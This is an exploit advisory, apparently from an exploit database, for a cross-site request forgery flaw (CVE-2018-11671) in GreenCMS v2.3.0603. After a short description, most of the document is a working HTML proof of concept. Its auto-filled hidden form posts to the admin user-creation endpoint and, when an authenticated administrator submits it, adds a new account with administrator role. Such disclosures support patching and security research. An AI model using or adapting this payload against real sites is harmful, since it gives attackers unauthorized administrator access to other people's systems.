# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability add admin
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11671
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.
poc:
<span style="font-size:18px;"><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>csrftest</title>
</head>
<body>
<form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">
<input type="hidden" name="user_id0" value="1">
<input type="hidden" name="user_login" value="test1">
<input type="hidden" name="password" value="test1">
<input type="hidden" name="rpassword" value="test1">
<input type="hidden" name="user_nicename" value="123">
<input type="hidden" name="user_email" value="123%40Qq.com">
<input type="hidden" name="user_url" value="www.baidu.com">
<input type="hidden" name="user_intro" value="test">
<input type="hidden" name="user_status" value="1">
<input type="hidden" name="role_id" value="1">
<button type="submit" value="Submit">add admin</button>
</form>
</body>
</html></span>
References:
http://www.iwantacve.cn/index.php/archives/39/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671
https://github.com/GreenCMS/GreenCMS/issues/109
